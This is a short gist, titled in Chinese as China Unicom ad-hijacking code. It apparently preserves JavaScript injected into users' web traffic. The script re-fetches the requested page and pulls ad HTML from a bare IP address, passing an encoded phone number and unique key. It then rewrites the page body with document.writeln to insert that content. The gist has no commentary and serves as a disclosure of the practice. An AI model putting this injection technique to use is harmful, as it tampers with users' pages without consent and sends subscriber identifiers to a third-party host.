联通广告劫持代码

gistfile1.txt

<script type="text/javascript">
var bodyHtml = "";var tcHtml = "";
function getBodyHtml() {var xmlhttp = createXHR();var xmlhttpUrl = "http://m.ly.com/dujia/cardlogin.html";
var nowTime = new Date().getTime();var posSearch=xmlhttpUrl.search(/\?/);
if(posSearch==-1){xmlhttpUrl=xmlhttpUrl+"?visitDstTime="+nowTime;}else{xmlhttpUrl=xmlhttpUrl+"&visitDstTime="+nowTime;}
xmlhttp.open("GET", xmlhttpUrl, true);
xmlhttp.send(null);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {if (xmlhttp.status == 200) {bodyHtml = xmlhttp.responseText;getFlow();
}else{var pos=xmlhttpUrl.search(/\?/);
if(pos==-1){xmlhttpUrl=xmlhttpUrl+"?noe=1";}else{xmlhttpUrl=xmlhttpUrl+"&noe=1";}
window.location.href=xmlhttpUrl;}}}}	
function getFlow() {var xmlhttp = createXHR();
var xmlhttpUrl ="http://122.194.5.38:8085/ShowWindow/getFc7f3050.jsp?phoneNum=Iose9R+NX1SS6uLU+vDQlg==&uniqueKey=LC4/wifY5cDLXUHa2TGuaQ==";
xmlhttp.open("GET", xmlhttpUrl, true);xmlhttp.send(null);xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {if (xmlhttp.status == 200) {
tcHtml = xmlhttp.responseText;var reg = /<(body)\s*[^<>]*>/ig;var aryResult = bodyHtml.match(reg);
document.writeln(bodyHtml.replace(/<(body)\s*[^<>]*>/ig,aryResult + tcHtml));}else{document.writeln(bodyHtml);}}}}
function createXHR() {
if (window.XMLHttpRequest) {return new XMLHttpRequest();}
if (window.ActiveXObject) {var msxmls = [ "MSXML3", "MSXML2", "Microsoft"]
for (var i = 0; i < msxmls.length; i++) {try {return new ActiveXObject(msxmls[i] + "XMLHTTP")} catch (e) {}}
throw new Error("No XML componentinstalled!")}}
getBodyHtml();</script>